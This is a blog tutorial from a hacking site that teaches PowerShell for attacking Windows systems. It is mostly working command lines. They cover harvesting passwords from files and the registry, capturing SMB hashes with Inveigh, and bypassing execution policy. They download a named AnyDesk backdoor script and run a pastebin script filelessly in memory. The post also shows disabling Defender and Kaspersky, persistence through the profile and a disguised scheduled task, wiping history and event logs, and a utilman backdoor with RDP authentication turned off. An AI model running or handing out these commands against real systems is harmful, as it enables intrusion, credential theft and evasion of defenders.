Welcome back, aspiring cyberwarriors!

Today we start our series on PowerShell for hackers. In this opening article we’ll explore the core techniques of PowerShell, starting with foundational concepts before working with PowerView and crafting scripts for backdoors, data exfiltration, and extracting password hashes.

The methods we cover here come from real engagements. You’ll see different terminals and interfaces, since we’ll be shifting targets. So get comfortable with older Windows systems, a lot of which are still in use today (ATMs, medical devices, point of sale systems, and so on), mainly due to budget constraints.

Defenders should also understand how Windows can be used for attacks, since they’re not limited to Linux only. Its administrative functions offer stealth during operations, which helps hackers stay under the radar.

Understanding PowerShell

PowerShell is a powerful scripting language that was initially designed for system administration and automation. It has direct access to the .NET framework and Windows Management Instrumentation (WMI), which gives you control over system components, processes and network configurations.

It also comes with “living off the land” (LOL) tools. These help hackers work without bringing in external binaries that could trigger alerts. That way they can discreetly execute commands, set up remote sessions, find credentials, check system configuration, manipulate the system, and run payloads in memory. PowerShell helps you blend into a normal system routine.

Now let’s look at its capabilities.

Core PowerShell Commands

To make the transition from Linux easy, here’s a table with common commands that exist in PowerShell.

That’s the backbone. It does have some unique commands too, but these are enough to start.

Legacy CMD commands are also supported. For instance, type will print the contents of a text file:

PS > type example.txt

It’s worth learning a few CMD commands just as a fallback.

You can change directories with cd, but sometimes you run into a non-English system where files and directories are in a foreign language. Evil-WinRM often struggles with this, corrupting the characters you type. In this case, you can use variables:

PS > $items = Get-ChildItem
PS > cd $items[4].FullName

Keep in mind, PowerShell uses zero based indexing (so $items[0] is the first item). This trick comes in handy when you have a PowerShell session inside some hacking tool that doesn’t play well with other languages.

Wildcards are another time-saver for complex file names:

PS > cat *.txt      # Displays all .txt files
PS > cd *           # Enters the only subdirectory in the current location
PS > cat 1*         # Reads files starting with "1"

When you’re digging through a lot of corporate data, changing directories manually gets exhausting. Use tree to recursively view the file structure:

PS > tree /F

Credential Harvesting

To move laterally you need credentials. You can find passwords manually on the Desktop, in the browser or in messaging apps, but this whole process can be automated with a one liner, since you never know where those credentials are sitting on a system.

Findstr

With findstr you can search for specific patterns in files or command outputs. It’s present on every Windows system:

PS > findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.gif *.ps1 *.yml

This searches recursively (/S), case insensitively (/I), for “password” across various files, listing matching files (/M).

Registry

The Windows Registry is another source of credentials. It stores system and user configurations. Here are some commands:

PS > reg query HKLM /f password /t REG_SZ /s

This searches the HKEY_LOCAL_MACHINE (HKLM) hive for string values containing “password”, potentially finding credentials used by software or services.

PS > reg query HKCU /f password /t REG_SZ /s

This targets the HKEY_CURRENT_USER (HKCU) hive for user settings with “password”. This may have application configurations.

PS > reg query "HKCU\Software\ORL\WinVNC3\Password"

Extracts reversible password for WinVNC v3 credentials.

PS > reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Checks autologin settings, which may have plaintext credentials like DefaultUsername and DefaultPassword if enabled.

PS > reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP"

Checks Simple Network Management Protocol (SNMP) settings for community strings. These are weak credentials for network devices that are often overlooked by administrators.

PS > reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

Finds saved PuTTY (SSH) session data, including IP addresses and usernames

These reg queries can be used for quick credential discovery, that way you don’t run external tools.

LaZagne

LaZagne isn’t a PowerShell tool, but it’s often used to extract credentials. It looks for passwords in browsers, email clients, WiFi settings, FTP tools and databases by analyzing config files, registry entries and memory.

For example, discovering an Outlook password for a department head could be used for social engineering attacks. More articles on social engineering are available on our website.

SMB Hash Leak

The SMB Hash Leak technique captures NTLMv1 or NTLMv2 hashes by creating a fake Windows shortcut (.lnk) file pointing to a nonexistent remote resource. When a user opens a folder with this file in it, Windows attempts an SMB connection, sending the user’s hashed credentials to your server. These hashes can then be cracked offline or relayed.

Using Inveigh, you can set up a fake SMB/HTTP listener:

PS > powershell -ep bypass
PS > . .\Inveigh.ps1
PS > Invoke-Inveigh -ConsoleOutput Y -NBNS Y -HTTPS Y -PROXY Y

Success depends on timing and network interface configuration.

Captured hashes can be cracked using Hashcat in NTLMv2 mode (5600).

Managing Execution Policy

An execution policy in PowerShell is a safety feature that controls whether and how PowerShell scripts can run on a system. It’s a built-in warning system meant to stop users from accidentally running untrusted or harmful scripts. To bypass it for the current session:

PS > powershell -ep bypass

For a persistent change (you need admin privileges):

PS > Set-ExecutionPolicy Bypass -Scope LocalMachine -Force

This disables script execution restrictions machine wide, unless Group Policy overrides it.

Downloading and Executing Files

You can use cmdlets like Invoke-WebRequest (iwr) or wget to download files. Besides these, there are plenty of other techniques out there that don’t get monitored.

Invoke-WebRequest

Using iwr you can download a script from GitHub

PS > powershell -c iwr -Uri https://raw.githubusercontent.com/AiGptCode/ANYDESK-BACKDOOR/refs/heads/main/Anydesk-backdoor.ps1 -OutFile anydesk.ps1

Or simply type this:

PS > iwr https://raw.githubusercontent.com/AiGptCode/ANYDESK-BACKDOOR/refs/heads/main/Anydesk-backdoor.ps1 -OutFile anydesk.ps1

Wget

That’s a well known Linux command. It works here as well:

PS > wget https://raw.githubusercontent.com/AiGptCode/ANYDESK-BACKDOOR/refs/heads/main/Anydesk-backdoor.ps1 -O anydesk.ps1

Fileless Execution

This command downloads a script from the URL and pipes it directly into the PowerShell interpreter using Invoke-Expression, executing it in memory without ever touching the disk. That’s a classic fileless execution technique.

PS > iex (Invoke-WebRequest -Uri 'http://pastebin.com/raw/7b4byHdd')

As you can see, our script successfully executed.

Downgrade Attacks

A PowerShell downgrade attack is a technique where you deliberately launch an older version of PowerShell (version 2.0) to bypass some modern security features.

PS > powershell -version 2

Antivirus Software

When you gain system access, always check whether the AV is running:

PS > Get-Service -Name windefend

For Kaspersky:

PS > Get-Service | Where-Object { $_.DisplayName -like "*Kaspersky*" }

You can check other systems remotely with WMI. The command below lists the name of the antivirus installed:

PS > Get-WmiObject -Namespace 'root\SecurityCenter2' -Class AntiVirusProduct -ComputerName 'OM-2' -Credential (Get-Credential Administrator) | Select-Object PSComputerName, displayName, pathToSignedProductExe, productState

Here is how you disable Windows Defender:

PS > Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableNetworkProtection AuditMode -MAPSReporting Disabled -SubmitSamplesConsent NeverSend -EnableControlledFolderAccess Disabled

Kaspersky can be disabled with this command, provided it’s just a local installation:

PS > Stop-Service -Name KAVFS,kavfsslp,klnagent -Force

Base64 Encoding

Base64 can encode binary or text into a portable format. When you convert something into Base64, it makes it harder to immediately understand what the code does.

PS > [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Write-Host "Hackers-Arise!"'))
PS > powershell -e "<base64>"

Reverse Shells

Encoded reverse shells can be customized on revshells.com and used to connect back to your listener.

Profile Persistence

Profile persistence is a technique of embedding code into a user’s PowerShell profile so the code executes every time a new PowerShell session starts. When PowerShell launches, it checks for profile scripts and runs whatever commands they hold.

Let’s add a script to our profile:

PS > Add-Content -Path $Profile -Value “C:\Windows\Temp\script.ps1”
PS > Set-ExecutionPolicy Bypass -Scope LocalMachine -Force

Stealth Execution

-WindowStyle Hidden makes a PowerShell script or command run without showing any visible window to the user. When hackers run scripts, they don’t want to draw attention. If you run PowerShell normally, a window might briefly flash on screen and alert the victim.

Let’s execute our script:

PS > Start-Process powershell.exe -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass -File C:\Windows\Temp\script.ps1"

-NoProfile avoids loading profile scripts:

PS > powershell.exe -NoProfile -Command "Write-Output 'Hackers-Arise!'"

Managing Command History

Just like in Linux, there’s a command history. By default it typically holds the last 50 entries. You can list them with Get-History.

Or read the file itself:

PS > Get-Content “$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt”

Instead of deleting it, let’s overwrite it:

PS > Set-Content “$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt” -Value “”

Listing Process Command Lines

Listing command lines for each process can help you find usernames, passwords, IPs and other things.

PS > gwmi win32_process | select CommandLine

Scheduled Tasks

Scheduled Tasks get used for persistence and privilege escalation. Each task is defined by a set of triggers (at logon, at a given time, or on an event), actions (the program, script, or command to run), and optional conditions or settings that control retries and timeouts.

For privilege escalation you want to find vulnerable tasks. We’ll output all the scheduled tasks to a file and then look for “SYSTEM”:

PS > schtasks /query /fo LIST /v > schtask.txt

For persistence, create your own task or modify the existing one:

PS > schtasks /create /tn “Windows Update Service” /tr “C:\Windows\Temp\hackers-arise.exe” /sc hourly /mo 3 /ru System”

Make sure it exists:

PS > schtasks /query /tn “Windows Update Service”

Force it to run immediately:

PS > schtasks /run /tn “Windows Update Service”

Or delete it:

PS > schtasks /delete /tn “Windows Update Service” /f

Everything was successful. 

Sessions

To see currently active user sessions, use quser or qwinsta. These commands show usernames with their session details, including idle time.

If you need to kill someone’s connection:

PS > logoff ((quser | Where-Object { $_ -match 'username' } ) -split '\s+' )[2]

If you accidentally trigger the creation of a new user profile by signing into a computer where that user has never logged in before, kill the session tied to that user first, then delete the created user folder:

PS > cmd.exe /c "rd /s /q C:\Users\username"

Logs

Hackers clear Windows logs to cover their tracks. Here’s how:

PS > Clear-EventLog Security,System,Application; "Windows PowerShell","Microsoft-Windows-PowerShell/Operational","Microsoft-Windows-WMI-Activity/Operational" | ForEach-Object { & "$env:windir\System32\wevtutil.exe" cl $_ }

First the command clears the classic Windows event logs, then it uses wevtutil.exe to clear the more modern ones.

Other Commands

Below you can find other useful commands.

Bonus: Establishing a Backdoor

Once a system’s been compromised, you can establish a backdoor. There are many of them, depending on your objectives and the environment. Our technique uses utilman.exe.

Utilman

Utilman.exe is the Windows Utility Manager. It’s the program that runs when you click the “Ease of Access” button on the login screen or press Win+U. It’s meant to provide accessibility tools (Narrator, Magnifier, or On-Screen Keyboard) before you log in.

It can be exploited by tweaking the registry so it points to cmd.exe instead. As a result, pressing the Ease of Access button at the login prompt launches a CMD prompt with SYSTEM privileges.

Using registry let’s set up the backdoor:

PS > reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f

Then we disable NLA for RDP, that way it won’t require valid credentials to open an RDP session:

PS >reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

After that you need to reboot the system or wait for an administrator to do it.

If you use Sticky Keys instead, you won’t need to reboot at all.

Conclusion

PowerShell is a powerful tool, as you can see. In this first part, we’ve covered essential commands, credential harvesting, persistence and stealth. In the next part, we’ll build on this foundation with more advanced tools.

If you want to learn how PowerShell can be used in both red team and blue team scenarios, get our PowerShell for Hackers training. We’ll show things that can’t be covered here.

The post PowerShell for Hackers, Part 1: The Basics first appeared on Hackers Arise.